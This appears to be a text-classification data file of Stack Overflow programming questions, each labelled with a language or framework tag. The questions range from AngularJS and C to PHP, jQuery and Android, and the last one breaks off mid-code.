how to push an object into a json array through $http   i m new to angularjs. what i need to do is to add an employee into a file named as  employees.json  where an employee has 3 features  name  city and state which can be entered through text boxes. my current code is below and due to some reason it is not working. can someone help me    <pre><code>    $scope.addemplyee=function(){         / create new employee here with user inputs          // an employee object has three properties: name  city  state          var name=$scope.name;         var city=$scope.city;         var state=$scope.state;          $http.get( employees.json ).success(function (data){            $scope.employees = data});          $scope.employee={ name :name  city :city  state :state};          $http.post( /employees.json   { employee : $scope.employee})            .success(function(response   status  headers  config){               $scope.employees.push($scope.employee);         });       }; </code></pre>   html code is as follows   <pre><code>     &lt;div&gt;         &lt;b&gt;add employee :&lt;/b&gt;         &lt;div&gt;name:&lt;input type= text  ng-model= name /&gt;&lt;/div&gt;         &lt;div&gt;city: &lt;input type= text  ng-model= city /&gt;&lt;/div&gt;         &lt;div&gt;state: &lt;input type= text  ng-model= state /&gt;&lt;/div&gt;         &lt;button class= btn  ng-click= addemplyee() &gt;add&lt;/button&gt;     &lt;/div&gt; </code></pre>,angularjs
inet_ntoa conversion problem  in this snippet of code i capture the packet and i am trying to display the source and destination address by using inet_ntoa   even before that i am printing the packet src and dst address in hexa format. the problem here is both do not match  the o/p of inet_ntoa is wrong as shown in o/p      <pre><code>  the src ip address should be 172.28.6.87 but inet_ntoa shows 86.212.172.28   the src ip address should be 172.28.6.110 but inet_ntoa shows 6.87.172.28     char *ptr = null;   ptr_fltr = (struct packet_filter*)(packet);    memcpy(out_data packet 50);   printf( \n );   for(i= 28;i&lt;36;i++)   printf( %#x\t  out_data[i]);   printf( *******************************************************************\n );   printf( ---------------------received packet info--------------------\n );   ptr = inet_ntoa(ptr_fltr-&gt;ip.ip_src);   printf( source ip addr :%s\n  ptr); </code></pre>   here   <pre><code> struct packet_filter   {     struct mac_filter mac;     struct ip_filter ip;     union {             struct udp_filter proto;     }protocol;   }__attribute__((packed));    struct ip_filter  {     u_char ip_vhl;     u_char ip_tos; /* type of service */     u_short ip_len; /* total length */     u_short ip_id; /* identification */     u_short ip_off; /* fragment offset field */     u_char ip_ttl; /* time to live */     u_char ip_p; /* protocol */     u_short ip_sum; /* checksum */     struct in_addr ip_src; /* source and dest address */     struct in_addr ip_dst; /* source and dest address */  }__attribute__((packed)); </code></pre>   output   <pre><code>  0xac    0x1c    0x6 0x57    0xac    0x1c    0x6 0x6e            ************************************************************   --------------------received packet info--------------------   source ip addr :86.212.172.28   destination ip addr :6.87.172.28 </code></pre>,c
class function not returning the correct value  i have this class:   <pre><code>class test(object):     def __init__(self  s):         self.s = s     def gets(self):         return self.s </code></pre>   i need to generate 5 instances of this class and only 1 instance will have a variable s with a value equal to true.   <pre><code>tests = [test(true) if i==sys.argv[1] else test(false) for i in range(5)] </code></pre>   then i tried to print the values.   <pre><code>for i in tests:     print i.gets() </code></pre>   output is:   <pre><code>false false false false false </code></pre>   shouldn t one of the value equals to true,python
about include header file with guards  i am reading a book on applied c++.   <blockquote>    include guards will prevent a header file from being included more   than once during the compilation of source file. your symbol names   should be unique  and we recommend choosing the name based on the name   of the file. for example  our file  cache.h contains this include   guard.  </blockquote>  <pre><code>#ifndef _cache_h_  #define _cache_h_  ...  #endif // _cache_h_ </code></pre>  <blockquote>    lakos describes using redundant include guards to speed up   compilation. see [lakos96]. for large projects  it takes times to open   each file  only to find that the include guard symbol is already   defined (i.e.  the file has already been included). the effects on   compilation time can be dramatic  and lakos shows a possible 20x   increase in compilation times when only standard include guards are   used.        [lakos96]: largescale c++ software design.  </blockquote>   i don t have lakos96 reference book to refer concept so asking help here.    my questions on above text is   <ol> <li> what does author mean by   for large projects  it takes times to open each file  only to find that the include guard symbol is already defined    </li> <li> what does author mean by  when standard include guards are used    </li> </ol>   thanks for your time and help.,c++
how to compute how much of my buffer is used (size) for write()  <pre><code>char buf[256]; sprintf(buf   it was %s\r\n   weather); write(p-&gt;fd  buf  sizeof(buf)); </code></pre>   the code above is a snippet of a large project.    <code>buf</code> is used to hold a number of different strings of different length. how do i know what to put in the write function  <code>sizeof()</code> just gives <code>256</code> i believe  because write just spits out a bunch of extra garbage characters.,c
how to implement rsa algorithm in iphone application   i have implementing one login page.i have to send password in encrypt format to the server using rsa algorithm.but not working can u advice me for this query.,iphone
html - disable password manager  our security team requires us to disable the password manager for protected fields on the html form. as an example  here s an over simplified html form below. when i click the submit button  firefox (version 51.0.1) pops up the password manager.    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en   http://www.w3.org/tr/html4/strict.dtd &gt; &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt;     &lt;form name= testform  action= disable-pwd-mgr.htm  method= post          autocomplete= off &gt;          &lt;label for= protected-input &gt;protected input&lt;/label&gt;          &lt;input type= password  size= 16  maxlength= 16  id= protected-input   name= protected-input  accept= numbers  /&gt;         &lt;input type= password  id= disable-pwd-mgr-1  style= display: none;  value= stop-pwd-mgr-1 /&gt;         &lt;input type= password  id= disable-pwd-mgr-2  style= display: none;  value= stop-pwd-mgr-2 /&gt;          &lt;button name= next  id= next  type= submit  value= next &gt;             next         &lt;/button&gt;      &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>note that all alternatives suggested <a href= https://stackoverflow.com/q/17719174/5150013 >here</a> didn t work.</strong>   <ol> <li>autocomplete=off didn t work. </li> <li>having another hidden input field of type password didn t work.</li> </ol>   using the two separate additional hidden password inputs  each with different dummy values seems to work for the case when the user actually inputs a value into the protected field and clicks submit. but if the field is left blank and the submit button is clicked  the password manager pops up again. interestingly chrome (version 55) doesn t pop up the password manager at all  which is good. does anyone have a better solution to this problem,html
custom uiview resizing while rotating  i know that there are several similar questions  but i still didn t find a proper solution. i ve just created a test project with a custom view:   <pre><code>@interface customview : uiview  //..  - (id)initwithframe:(cgrect)frame {     self = [super initwithframe:frame];     if (self) {         [self setbackgroundcolor:[uicolor redcolor]];      }     return self; } </code></pre>   and view controller:   <pre><code>- (void)viewdidload {     [super viewdidload];      customview *cv = [(customview *) [customview alloc] initwithframe:self.view.frame];     [self.view addsubview: cv]; } </code></pre>   in the landscape mode we can see:    <img src= https://i.stack.imgur.com/wxphu.png  alt= enter image description here >    how to fix it  i know about <code>layoutsubviews</code>  but <code>1.</code> it s not called while rotating; <code>2.</code> how i can resize a view here,ios
how to change the color of a standard radio button   coding a simple radio button generates a blue button    <pre><code> &lt;input type= radio  name= sample  /&gt;  &lt;input type= radio  name= sample  /&gt; </code></pre>   see <a href= http://jsfiddle.net/xytjc/2/  rel= nofollow >http://jsfiddle.net/xytjc/2/</a>    how can i make these red     thanks,html
error while editing data in gridview in asp.net  i am making an online bug tracking system(bts) in asp.net. i am using gridview for displaying the records on a web page. it is working properly in some web forms but in some web forms  i am getting error as given below when i click edit event of gridview. please guide me to solve this error.   <h1>server error in  /bts  application.</h1>  <hr>   invalid postback or callback argument.  event validation is enabled using<br>  <code>&lt;pages enableeventvalidation= true /&gt;</code><br> in configuration or<br> <code>&lt;%@ page enableeventvalidation= true  %&gt;</code><br> in a page.  for security purposes  this feature verifies that arguments to postback or callback events originate from the server control that originally rendered them.  if the data is valid and expected  use the clientscriptmanager.registerforeventvalidation method in order to register the postback or callback data for validation.,asp.net
elegant way to write multiple if statements  i have the following multiple  if  statements.    animals and humans are two <code>enum</code>s.   <pre><code>var a  b; int c  d  e = 0;  if (a == humans ::men) {     c = 1; }  if (b == animals ::cat) {     d= 1;     e= 1; }  if (b == animals ::dog) {     d = 1; }  if (b == animals ::elephant) {     e = 1; } </code></pre>   how can i write everything in one statement  so that the meaning is still the same.    thanks in advance.,c++
android studio gradle/recyclerview  pls help me to solve it....im using android studio 2.3.3 and trying to add recyclerview    and below these i have red line =/   <pre><code>compile  com.android.support:appcompat-v7:25.3.1   compile  com.android.support:recyclerview-v7:26.0.0-alpha1  </code></pre>   error:execution failed for task  :app:processdebugmanifest .   <blockquote>    manifest merger failed : attribute meta-data#android.support.version@value value=(25.3.1) from [com.android.support:appcompat-v7:25.3.1] androidmanifest.xml:27:9-31       is also present at [com.android.support:recyclerview-v7:26.0.0-alpha1] androidmanifest.xml:24:9-38 value=(26.0.0-alpha1).       suggestion: add  tools:replace= android:value   to  element at androidmanifest.xml:25:5-27:34 to override.  </blockquote>,android
if attribute exists change the css  i am trying to check if an attribute has a value. if it does have a value i want to change the css.    this is what i tried..   <pre><code>if ($( .note ).attr( data-user ) !==   ){      $(this).css( color   blue ); } </code></pre>,jquery
background task is running only when iphone is connected with xcode  hi all using following code for background task it works fine  when iphone is connected with xcode   but when i ran the app without connected xcode  then background tasks won t work   <pre><code>- (void)applicationdidenterbackground:(uiapplication *)application  {     back=1.0f;      nsautoreleasepool *pool=[[nsautoreleasepool alloc] init];     nsrunloop *runloop=[nsrunloop currentrunloop];     timer=[nstimer scheduledtimerwithtimeinterval:1.0 target:self selector:@selector(changecounter) userinfo:nil repeats:yes];     [runloop run];     [pool release];  } </code></pre>   please help why this is happening,iphone
php parameter passing  im new to php and having some trouble with parameter passing in functions. i can t get my function to execute properly. this is the function.   <pre><code>     function validateuser($username){            if(!empty($_post))            {                 if(strlen($_post[ username ]) &lt; 5)                {                    die( please enter a valid username );                 }  } </code></pre>   thanks,php
listen for table change (including hiding/showing <tr> elements)  i recently created this: <a href= https://stackoverflow.com/questions/37567972/check-if-a-tables-rows-are-being-changed >check if a table&#39;s rows are being changed</a> - however  it seems like nobody knows the answer to my mutationobserver question.    i would therefore like to know if there are any possible ways  i can check whether or not a table s data has been changed. what i would essentially want is something like this:   <pre><code>$( table ).on( change   function() {     updatetable(); }); </code></pre>   the <code>updatetable()</code> would then be my function  which updates the table s content correctly. what do i mean with that  well  my function simply finds all the <code>&lt;tr&gt;</code> tags in the table  makes their background white  then finds all the odd <code>&lt;tr&gt;</code> tags and makes their background a different color.    how would i go on about this  i can do something like this (which would mean repeating myself a lot):   <pre><code>$( #add ).on( click   function() {     /* all my other code */     updatetable(); });  $( #remove ).on( click   function() {     /* all my other code */     updatetable(); });  $( #search-input ).on( keyup   function() {     /* all my search filtering code */     updatetable(); }); </code></pre>   that s a bad way of doing it. instead what could be done  is check if the table has changed (<code>&lt;table&gt;</code> -> <code>&lt;tbody&gt;</code> -> <code>&lt;tr&gt;</code> if we need to be correct)  however  i have been unable to do that with a mutationobserver  so i am seeking some other help.    thanks,jquery
how to gettext of button  i have an array of buttons. now  when each button is clicked  i want the text of buttons to be displayed in the textbox. i tried it but its not working. here s my code:   <pre><code>public boolean initday()     {         linearlayout layoutvertical = (linearlayout) findviewbyid(r.id.livlayout);         linearlayout rowlayout=null;          layoutparams param = new linearlayout.layoutparams(layoutparams.fill_parent layoutparams.fill_parent 1);          for (i = 0; i&lt;6; i++)          {             rowlayout = new linearlayout(this);             rowlayout.setweightsum(7);             layoutvertical.addview(rowlayout param);             for(j=0;j&lt;7;j++)             {                 pbtnday[i][j]=new button(this);                 rowlayout.addview(pbtnday[i][j] param);                 pbtnday[i][j].setclickable(true);                 pbtnday[i][j].setonclicklistener(this);             }         }         return true;     }     public void onclick(view v)     {          textview t = (textview)findviewbyid(r.id.textv);             t.settext(pbtnday[i][j].gettext());     } </code></pre>,android
why  throw ex;  hides original stack trace <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/178456/what-is-the-proper-way-to-re-throw-an-exception-in-c >what is the proper way to re-throw an exception in c# </a>    </blockquote>     i want to understand why the  throw ex  usage hides the original stack trace  what was the fundamental philosophy behind the scene when designing c# compiler,c#
php - making cookie in login form  i am trying to keep a person logged in the system till the page is open in the browser. my code is:<br>   <pre><code>($globals[ ___mysqli_ston ] = mysqli_connect($hostname   $username   $password)) or die( not connected! );  ((bool)mysqli_query($globals[ ___mysqli_ston ]   use $dbname )) or die( database name is not available! );  $login = mysqli_query($globals[ ___mysqli_ston ]   select * from student where (name =    .addslashes($_post[ username ]) .   ) and ( password =    .($_post[ password ]) .   ) );  $row=mysqli_fetch_array($login);   $a = mysqli_query($globals[ ___mysqli_ston ]   select * from admin where (username =    .addslashes($_post[ username ]) .   ) and (password =    .sha1($_post[ password ]) .   ) );  $r=mysqli_fetch_array($a);   if($row){     $_session[ user ] = $row[ name ];     $_session[ lname ] = $row[ lname ]; $_session[ pass ] = $row[ pass ] setcookie( cookname   $_session[ name ]  time()+60*60*24*100   / ); setcookie( cookpass   $_session[ pass ]  time()+60*60*24*100   / );     header ( location: ../../gui-student.php );     }     elseif($r){  $_session[ admin ] = $row[ id ];  header ( location: gui-admin.php );     }     else {         header ( location: ../../index.html err );         }  if($row==1)        {       session_start();        $_session[ username ]=$username;      header( location: ../../gui-employee.php );      exit();      } </code></pre>   i tried this but it doesn t work. i am new to cookies and i don t know know how to check the cookies on the gui-student.php page.<br> thanking you in advance<br><br> rgds<br> bhawna,php
getting element the event is attached to  i have a nested html structure that needs to change in a certain way when clicked. for that  i need the element that the event is bound to  not the element that is clicked        for example....   <pre><code>thedesiredelement.addeventlistener( click        function() {          ... i need  thedesiredelement  here     }   false); </code></pre>   getting event.target get s the clicked element  not the element that the event is bound to. is there a way to do that,javascript
core plot graph draw issue in iphone  when i use this line to draw graph my app quits   <pre><code>cpgraphhostingview *hostingview = (cpgraphhostingview *)self.view;          hostingview.hostedgraph = barchart; </code></pre>   error     <pre><code>[uiview sethostedgraph:]: unrecognized selector sent to instance 0x595fb20 2011-06-11 11:00:14.452 cgh[4909:207] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uiview sethostedgraph:]: unrecognized selector sent to instance 0x595fb20  </code></pre>   how to fix this issue   i have included all lib correctly    #### update   i am using it again but i am getting this error    i have connected the class in nib file   <pre><code>2011-09-28 14:53:06.791 ihope_test_sql[9307:707] unknown class cptgraphhostingview in interface builder file. 2011-09-28 14:53:06.795 ihope_test_sql[9307:707] unknown class cptgraphhostingview in interface builder file. 2011-09-28 14:53:06.797 ihope_test_sql[9307:707] unknown class cptgraphhostingview in interface builder file. 2011-09-28 14:53:06.800 ihope_test_sql[9307:707] unknown class cptgraphhostingview in interface builder file. 2011-09-28 14:53:06.847 ihope_test_sql[9307:707] -[uiview sethostedgraph:]: unrecognized selector sent to instance 0x1cd920 2011-09-28 14:53:06.875 ihope_test_sql[9307:707] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uiview sethostedgraph:]: unrecognized selector sent to instance 0x1cd920  *** call stack at first throw: </code></pre>,iphone
manipulating variables using setters and getters  i came across this code example on another website. i ve been looking at it for a while  trying to figure out something simple  but i m having difficulty determining where to start.  how would i allow a user to enter into the console to turn the light or the fan on/off   all this stuff with setters/getters is confusing. writing the logic of turning something on/off seems simple  but mix it in with constructors and setters/getters and i get lost. i m failing to understand how and where to manipulate the ison boolean with user input.     i d appreciate any guidance or code.  thanks   <pre><code>public class household {     public string choice;//instance variables    public boolean ison;     //constructor    household(string choice boolean ison) {        this.ison=ison;        this.choice=choice;    }     //methods    public string getchoice() {        return choice;    }     public void setchoice(string choice) {        this.choice = choice;    }     public boolean ison() {        return ison;    }     public void seton(boolean ison) {        this.ison = ison;    }     public string tostring() {        return  choice:  + getchoice() +  \tison:  + (ison()    yes  :  no );    }     public static void main(string[] args) {         household hh=new household( toaster   true);        system.out.println(hh);        hh=new household( fan   false);        system.out.println(hh);    } } </code></pre>,java
imrect for python  i m looking for a simple python utility / module that:   <ul> <li>i can give it an image  and it pops up a gui window for the user to draw a box inside the image</li> <li>after drawing the box  it returns the coordinates of the box</li> </ul>   matlab users will realize that i am asking for <code>imrect</code> equivalent in python.     is there a simple utility out there to do this,python
javascript detect resize of div using event listener not triggering function  i have a resizable div with an event listener and a function attached to it.    here is the code:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;    &lt;title&gt;&lt;/title&gt;    &lt;style type= text/css &gt;      #el {     border: 2px solid #333;     padding: 20px;      width: 300px;     resize: both;     overflow: auto; }    &lt;/style&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;div id= el &gt;     let the user resize the div element. &lt;/div&gt;   &lt;script&gt; function myfunction(){  console.log( el was resized ); }  div_elm = document.getelementbyid( el );  div_elm.addeventlistener( resize   myfunction); &lt;/script&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   the problem is that the function is not firing when the div is resized.    how can i fix this,javascript
is it possible to return a value from a promise notify callback   is it possible to return anything from a promise <code>notify</code> callback     in the following code <code>serviceb.start</code> returns a deferred promise where the deferred is defined on <code>serviceb</code>:   <pre><code>serviceb.start(action).then(          function() {console.log( success );}           function() {console.log( failed );}           function (notifyobject) {              var deferred = $q.defer();              //do something time consuming              $timeout(function() {                  if (notifyobject.success) {                      deferred.resolve({ message:  this is great!  });                  } else {                      deferred.reject({ message:  really bad  });                  }              }  5000);              console.log(notifyobject.message);              return deferred.promise;          } );   var notifyreturnvalue = serviceb.deferred.notify(notifyobject); notifyreturnvalue.then(            function() {              //do something else              serviceb.deferred.resolve(data);            }         );     } </code></pre>   <code>notifyreturnvalue</code> seems to be undefined. is there a way to return something from a <code>deferred.notify()</code>,angularjs
how to remove values from an array in php   is there a php function to remove certain array elements from an array     e.g.  i have an array (<code>a</code>) with values and another array (<code>b</code>) from which a need to remove values.    want to remove the values in array <code>a</code> from array <code>b</code>,php
count occurences of int in array java  i have an array stored as:   <pre><code> static int[] number = new int[50]; </code></pre>   i want to write a piece of code that will count how many times certain ints appear in the array. say the number 1.    thanks,java
how to create  magic quadrant  style chart using asp.net   do you guys know of an asp.net chart control i can use to create <a href= http://www.gartner.com/displaydocument doc_cd=131166  rel= nofollow noreferrer >gartner s magic quadrant</a>-style charts      i also want bubble sizes to reflect the market volume for each data point.     as we are on a tight schedule  we do not have the option of rolling out our own custom solution.,asp.net
detailsview trouble retrieving values  the purpose of my detailsview is to collect report parameters for the user to enter when running a report. so i build the details view dynamically because report parameters are data driven  stored in the database per the report. the object being bound to is created by reflection dynamically at run-time from the report parameters  with one property per each parameter  so it contains simple date or collection properties  which i turn into a combo box or date box dynamically by creating templates dynamically.    in the item_updating event  i simply want to get the values the user entered so i know how to run the report. i looked in all the properties of e and also tried findcontrol to get to the values the user entered. both e and findcontrol are empty. this is how i got data back in the past so i don t know why they aren t there. it almost as if the controls themselves are not represented in the object model of the detailsview at that time.   <pre><code>  &lt;asp:detailsview id= detailsview1  runat= server  autogeneraterows= false  defaultmode= edit  &gt;     &lt;fields&gt;       &lt;asp:commandfield buttontype= button  updatetext= run  showcancelbutton= false  showeditbutton= true  /&gt;     &lt;/fields&gt;   &lt;/asp:detailsview&gt; </code></pre>   code behind   <pre class= lang-vb prettyprint-override ><code>  private sub builddetailview(datasource as object)       dim properties() as system.reflection.propertyinfo = datasource.gettype.getproperties     dim template as system.web.ui.itemplate     for each propertyinfo as system.reflection.propertyinfo in properties       template = nothing       if propertyinfo.propertytype is gettype(system.datetime) then         template = new datetemplate(datasource  propertyinfo)       elseif gettype(icollection).isassignablefrom(propertyinfo.propertytype) then         template = new listtemplate(datasource  propertyinfo  report.inputreportparameters(array.indexof(properties  propertyinfo)).enumeration.multiselect)       end if       if template isnot nothing then         dim templatefield as new templatefield         templatefield.headertext = propertyinfo.name         templatefield.itemtemplate = template         detailsview1.fields.add(templatefield)       end if     next   end sub    protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load     checkauthentication()      builddetailview(report.reportparametersdataobject)      if report.reportparameters.any andalso not report.inputreportparameters.any then       run()  no parameters are for data entry      elseif not ispostback then       lblreporttype.text = string.format( report {0}   report.type)       detailsview1.datasource = new list(of object) from {report.reportparametersdataobject}       detailsview1.databind()     end if   end sub    protected sub detailsview1_itemupdating(sender as object  e as system.web.ui.webcontrols.detailsviewupdateeventargs) handles detailsview1.itemupdating     run(e.newvalues)   end sub </code></pre>   list template helper:   <pre class= lang-vb prettyprint-override ><code>public class listtemplate   implements system.web.ui.itemplate    public sub new(datasource as object  propertyinfo as system.reflection.propertyinfo  multiselect as boolean)     me.datasource = datasource     me.propertyinfo = propertyinfo     me.multiselect = multiselect   end sub    private datasource as object   private multiselect as boolean   private propertyinfo as system.reflection.propertyinfo    public sub instantiatein(container as system.web.ui.control) implements system.web.ui.itemplate.instantiatein     dim listbox as new system.web.ui.webcontrols.listbox     listbox.datasource = propertyinfo.getvalue(datasource  nothing)     listbox.datatextfield =  text      listbox.datavaluefield =  value      listbox.selectionmode = iif(multiselect  listselectionmode.multiple  listselectionmode.single)     listbox.rows = math.min(25  listbox.datasource.count)     listbox.enableviewstate = true     container.controls.add(listbox)   end sub end class </code></pre>   datetemplate helper:   <pre class= lang-vb prettyprint-override ><code>public class datetemplate   implements system.web.ui.itemplate    public sub new(datasource as object  propertyinfo as system.reflection.propertyinfo)     me.datasource = datasource     me.propertyinfo = propertyinfo   end sub    private datasource as object   private propertyinfo as system.reflection.propertyinfo    public sub instantiatein(container as system.web.ui.control) implements system.web.ui.itemplate.instantiatein     dim textbox as new system.web.ui.webcontrols.textbox     textbox.id = propertyinfo.name.replace(     string.empty)     textbox.enableviewstate = true     dim calendarextender as new ajaxcontroltoolkit.calendarextender     calendarextender.targetcontrolid = textbox.id     calendarextender.selecteddate = propertyinfo.getvalue(datasource  nothing)     calendarextender.defaultview = ajaxcontroltoolkit.calendardefaultview.months     calendarextender.format =  mmmm yyyy      container.controls.add(textbox)     container.controls.add(calendarextender)   end sub end class </code></pre>,asp.net
how do i add and subtract a number in a jquery .click function   i will use jquery to perform the following:    upon click of elements with the class  checkbox :   <ul> <li>add class  checkmark </li> <li>remove class  checkbox </li> <li>update a div with  you have x apps in your request list  where x is the number that have been clicked</li> <li>when a class with  checkmark  has been clicked  it will subtract from the number that is displayed</li> </ul>   my example code does not show all of this function  but i am able to accomplish this except for updating the number that have been clicked /  unclicked .    `   <pre><code>$( span.checkbox ).click(function() {      if(!oldval) {         var oldval =  0 ;     }      var newval = parsefloat(oldval) + 1;      var oldval = newval;      $( #wishlistapps ).html( &lt;li&gt;you have   + newval +   apps in your request list&lt;/li&gt; );   }); </code></pre>   `,jquery
how can i test my knowledge of .net   a lot of programming and computer science topics are tricky  and as a result it s hard to know sometimes if you ve gotten an idea straight after just reading about it. some programmers  learning material incorporates self-testing pretty well; a great example of this is <a href= http://www.greenteapress.com/semaphores/  rel= nofollow noreferrer >the little book of semaphores</a>.     i d love some ways to test my knowledge of the .net runtime: bcl  and c#  as well as wpf.  i d especially like to understand how storage and retrieval in data structures work in .net in some way analogous to stl (<code>deque</code>  <code>vector</code>  <code>map</code>  etc...).  ideally  this would be like the material in the semaphores book  where relevant material is presented along with self-tests.    suggestions,.net
character count from a text file  i am trying to count the number characters in a text file which i have retrieved the sd card need some advice here am new to android programming    using this code to retrieve the text file from the sd card   <pre><code>        //find the directory for the sd card using the api     //*don t* hardcode  /sdcard      file sdcard = environment.getexternalstoragedirectory();      //get the text file     file file = new file(sdcard  file.txt );      //read text from file     stringbuilder text = new stringbuilder();      try {         bufferedreader br = new bufferedreader(new filereader(file));         string line;          while ((line = br.readline()) != null) {             text.append(line);             text.append( \n );         }     }     catch (ioexception e) {         //you ll need to add proper error handling here     }      //find the view by its id     textview tv = (textview)findviewbyid(r.id.textview01);      //set the text     tv.settext(text); </code></pre>,android
mysql error - table name throws undeclared variable  i m trying to back up some records to a separate table in the same database using phpmyadmin. here s the query and the error it s throwing. both tables do exist and are spelled correctly; i copied and pasted the table names directly from their structure page. any ideas why i m getting this error    <pre><code>select * into `arrc_voucherbak` from `arrc_voucher` where activateddt like  2010-11-10%  and balanceinit is not null   mysql said: documentation #1327 - undeclared variable: arrc_voucherbak  </code></pre>,mysql
how can i make text left justified   i tried using <code>&lt;input type= text  id= nam_beneficiary  size= 70  style   = border-style: none;align:left  value=  /&gt;</code> but it didnt work  pls how can i make it justify from the left  so thyat while printing it will align from the left instead of the right,html
cropping an image in any shape  crop an image by mouse draging shape. not in rectangle shape. if i am click and drag the mouse in a particular shape crop image in that shape,c#
how to print this star pattern in c   i would like to print the below pattern  where user enters n and m (4 and 6) the outside boundary should be made up with stars and inside should be filled with circles.    <pre><code>******    ******    ******    ******     *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* ******    ******    ******    ******      ******    ******    ******    ******     *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* ******    ******    ******    ******      ******    ******    ******    ******     *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* ******    ******    ******    ******      ******    ******    ******    ******     *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* *oooo*    *oooo*    *oooo*    *oooo* ******    ******    ******    ******     </code></pre>   the code i have written is as below. what i am doing wrong    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(void) {     int n i j k m n1;     printf( enter table size and enter square size );     scanf( %d %d   &amp;n  &amp;n1);      for (i = 0; i &lt; n; i++) {         for (j = 0; j &lt; n1; j++)          {             for ( k = 0; k &lt; n; k++)              {                 for ( m = 0; m &lt; n1; m++)                  {                     {                         if(i==0 || i==n-1)                         {                             printf( * );                         }                         else if(j==0 || j==n-1)                         {                             printf( * );                         }                         else                         {                             printf( o );                          }                     }                 }                 printf(   );             }             printf( \n );         }         printf( \n );     }      system( pause );     return 0; } </code></pre>,c
my youtube embed code doesn t work on html website <pre><code>   &lt;center&gt;   &lt;iframe width= 420  height= 315  src= //www.youtube.com/embed/bri7vrfqgo4  frameborder= 0  allowfullscreen&gt;&lt;/iframe&gt; </code></pre>          <br />    i know its been posted around  but nothing s been working for me at the moment. i have html website and trying to put the html video youtube embed code  but its not working for me. my site is online  very simple html.. and it has http in the video embed code as well.. i tried a lot  but cant get it working in any way.    regards,html
what is the alternative to using id or a pointer to a class name as the return type of a class method that will return a  typed  value   when returning an object from a class method in objective-c  i understand there is a result type one can use instead of id to return the a  typed  value. what is that result type     assume a class method like <code>+ (id)sharedinstance</code>. what can be used in place of <code>id</code>  besides the class that will return a  typed  instance of the class     <pre><code>@interface someclass : nsobject + (something_other_than_id_or_someclass)sharedinstance; @end </code></pre>,objective-c
javascript: convert int number to date format: (8 -> 08:00)  i have a simple problem.  i want a for loop to output an array of times  in the format of: 00:00.    <pre><code>var array = []; for (var i = 0; i &lt; 24; i++) {    var time = // convert int here to : 00:00  01:00...24:00 format.     array.push(time); } </code></pre>   thanks    update  thanks for replies  here s how i solove it.    <pre><code>function dynamictimelist(time) {         var starthour = 6;         var startminute = 0;         var timelist = [];          while (starthour &lt; 24) {             var temphour = ( 0  + starthour).slice(-2)             while (startminute &lt; 60) {                 var tempmin = ( 0  + startminute).slice(-2)                 timelist.push(temphour + : + tempmin)                 startminute += 15;             }             starthour++;         }     }      // output: 01:00  01:15  01:30  01:45  02:00  etc...  </code></pre>,javascript
password hashing / login  im creating a website that requires user authorisation to access some features. im currently working on how a user creates an account and how to utilise sessions to authorise their login. user information is stored in a mysql table named user which likely includes a reference of username and passwords.    ive been reading up on password hashing/salt for security and wanted the input of some php masters  considering im still a rookie to the language.    ive written the following scripts :       <pre><code>define( salt_length   6);  function generatehash($plaintext  $salt==null){     if($salt == null){         $salt = substr(md5(uniqid(rand()  true))  0  salt_length);     }     else{         $salt = substr($salt  0  salt_length);     }      return $salt . sha1($salt . $plaintext); }  &gt; </code></pre>   this is a function included to generate a hash with a salt.   <pre><code>$username = $_post[ username ]; $password = generatehash($_post[ password ]); try{     $stmt = $pdo-&gt;prepare(insert into user values (:username  :password  :location      :email  :name); }catch(pdoexception $e){     echo $e-&gt;getmessage(); }     $stmt-&gt;execute(array( :username =&gt;$username                             :password =&gt;$password                             :location =&gt;$location                             :email =&gt;$email                             :name =&gt;$name); </code></pre>   this is the important parts of the script to create an account   <pre><code>if(isset($_post)){     //if form was submitted      $username = $_post[ username ];     $password = generatehash($_post[ password ]);      session_start();      $user =  root ;     $pass = null;     $pdo = new pdo( mysql:host=localhost; dbname=divebay;   $user  $pass);      try{         $stmt = $pdo-&gt;prepare( select username from user where username =     :username and password = :password );         $stmt-&gt;execute(array( :username =&gt;$username                                :password =&gt;$password);          if($stmt-&gt;fetch(pdo::fetch_assoc)){             echo  match ;         }         else{             echo  nomatch ;         } </code></pre>   this is the login session script to lookup users in the database    my main question is does this hashing/salt look like it will work  im confused as to how a hash used to create an encryption in one instance (create acct) will be able to work with a hash created in a different instance. further  is the complexity of what im trying to create appropriate for a relatively simple software project that will likely never be properly deployed     any other suggestions of where my scripts are wrong will be appreciated also (i need the criticism).,php
video streaming in android using webview  in my application i want to stream video from url. video is playing perfectly.when user click on that webview its redirect to video s url and showing an alertdialog  complete action using  where user can download that video by clicking the option internet.i want to restrict that means user only watch that video but can not download that. i want user to watch that video using android default player. thanks in advance.   <pre><code> public class playvideo extends activity {      private string vurl  vname;     private webview webview;     button back  home;     textview videoname;     vibrator vibrator;      @override     protected void oncreate(bundle savedinstancestate) {         // todo auto-generated method stub         super.oncreate(savedinstancestate);         // for full screen         requestwindowfeature(window.feature_no_title);         getwindow().setflags(windowmanager.layoutparams.flag_fullscreen                  windowmanager.layoutparams.flag_fullscreen);          setcontentview(r.layout.videoplay);         webview = (webview) findviewbyid(r.id.webview01);         back = (button) findviewbyid(r.id.bback);         home = (button) findviewbyid(r.id.bhome);         videoname = (textview) findviewbyid(r.id.tvvidname);         // for vibration when a button clicked         vibrator = (vibrator) getsystemservice(context.vibrator_service);         // 